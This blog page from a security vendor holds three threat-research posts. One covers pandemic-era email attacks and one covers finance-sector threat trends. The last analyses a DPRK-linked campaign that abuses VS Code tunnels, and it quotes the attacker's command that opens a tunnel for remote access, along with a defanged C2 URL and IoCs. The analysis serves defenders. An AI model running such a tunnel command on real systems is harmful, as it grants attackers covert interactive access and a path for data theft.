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April 14, 2020

How Changing Online Habits Have Created New Email Attacks

New email behaviors such as increased subscriptions and remote presentation tools have given rise to a new wave of email cyber-attacks. Learn more here.
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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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14
Apr 2020

For several weeks now, we’ve seen how cyber-criminals have used the ongoing global health crisis as a ‘fearware’ topic to mount and spread their attacks. But as more and more of the world’s population works from home, and as consumption of digital content subsequently increases, hackers are finding novel ways to exploit the full range of human emotions through sophisticated email attacks.

From attackers creating ‘digital fake’ campaigns that offer ‘advice’ for those self-isolating, to threat-actors masquerading behind trusted websites to launch malware, the last few weeks have demonstrated how quickly cyber-criminals can adapt their techniques in the email realm. This blog presents four ways hackers are changing their tactics in light of current trends and changing behaviors, and how security teams can react to defend against these developments.

Increased subscription

With a marked increase in digital subscription to entertainment sites and news sources, it should come as no surprise that spammers and hackers have doubled down on using fake newsletter subscriptions in their email attacks.

For security tools such as gateways and inboxes that look at the historic mail-flow, a new email subscription to a newsletter can look very much like any other – especially when the email passes all existing security tests and verifications. A brand new campaign or domain may not have been identified as malicious yet, and thus is allowed into the recipient’s inbox.

Analyzing emails within the broader business context gives a full understanding of the circumstances in which it was received. This requires looking beyond the inbox and considering the user’s ‘pattern of life’ across all touchpoints across the digital ecosystem. In the case of benign subscription emails, a user will have recently visited the domain of the sender and requested the email newsletter. There is an action ahead of receiving the email – requesting it.

Drawing insights from both email traffic and the user’s wider ‘pattern of life’ across the digital business, AI can tell the difference between an email newsletter that has and has not been requested. This simple act alone can help security teams understand when a user has voluntarily signed up for a newsletter versus when they have been targeted by a malicious attack, enabling them to respond appropriately.

Rapid adoption of remote presentation sites

As remote working sees a rapid rise, there has been a sharp increase in the number of people using presentation creation sites. Darktrace has recently picked up on a large number of attacks in which these trusted sites have been exploited to openly host malicious links. Malicious payloads are embedded within presentations, which are then shared in emails that go undetected by gateway tools.

Figure 1: Canva and Infogram, two presentation sites leveraged in this latest string of attacks

Several indicators suggest that this activity originates from a single, well-organized threat-actor or group, including the rotational targeting of presentation sites (Canva, Infogram, Axel, Piktochart, and Sway), the highly-focused nature of the attack type (taking place within the space of two weeks), and the consistent nature of these emails. These emails were seen across a large number of deployments, which appeared to utilize a strikingly similar fake eFax notification format.

Worryingly, the emails appear to display none of the typical ‘trademark’ identifiers often seen for phishing emails, such as spoofed or impersonated email addresses or suspicious link strings. For this reason, they go undetected by products such as Microsoft’s spam and phishing tools. As such, they are currently being delivered to recipients’ inboxes without any alteration or addition of safety features.

This activity appears to represent a significant and currently unrecognized external threat. Whilst the novel nature of the activity allowed it to easily bypass legacy tools, a more nuanced understanding of the human behind the email address allowed Darktrace’s AI to uniquely identify this series of emails as highly threatening. The technology recognized that the links and domains were highly unusual, not only in the context of the recipients’ normal behavior, but the ‘pattern of life’ of their peer group and the organization at large.

An unprecedented convergence of personal and professional

While IT and compliance teams are having to find ways to keep digital environments secure in remote working conditions, users are also changing their own behavior – not only in terms of devices and tools accessed, but also in what content and files are consumed and interacted with. This convergence of the personal and the professional, and the resulting expansion in the attack surface, presents a new set of challenges to security teams. Compromised email credentials and hijacked accounts become even harder to spot.

Securing these environments requires technology that can adapt to the new way of working, without having to explicitly reconfigure or re-write the rules. Digital activity has changed overnight, and will only continue to change – security tools that cannot adapt and grow with that change will fast become redundant. By continuously learning and evolving its understanding of every user and device, AI is being relied upon to protect workers, especially as we now shift our behavior to use more cloud-based communication and collaboration tools.

Adaptive AI-powered attacks

A recent Forrester report found that over half of security professionals expect AI-augmented cyber-attacks to be made evident to the public within the next twelve months. One way this is likely to manifest itself is with the automation of well-crafted spear phishing campaigns.

As attackers use AI to better understand the type of content that each user interacts with, along with the prevalent emotions that drive each individual user, malware or malicious links can be masked in content that is highly targeted to specific users. Individuals who are actively seeking information on particular topics, or are more likely to share and forward light-hearted, humorous content may be targeted more frequently or aggressively.

Using AI to study the target, hackers can leverage insights at a speed and scale never seen before. With sophisticated domain spoofing, indiscriminate writing styles, and carefully hidden malicious links, human analysts and traditional security tools alike will stand little chance.

To prepare for this next wave of attacks, security teams themselves are relying on AI that analyzes emails in light of behaviors across email platforms and the organization at large. Rather than analyzing emails in isolation and at a single point in time, Cyber AI correlates insights over time, and continuously revisits emails many thousands of times as new evidence emerges.

While traditional defenses ask whether elements of an email have been observed in historical attacks, Antigena Email is the only solution that can reliably ask whether it would be unusual for a recipient to interact with a given email in the context of their normal ‘pattern of life’, as well as that of their peers and the wider organization. This contextual knowledge allows the AI to make highly accurate decisions and neutralize the full range of email attacks – from ‘clean’ spoofing emails that seek to wire a fraudulent payment to sophisticated spear phishing attempts.

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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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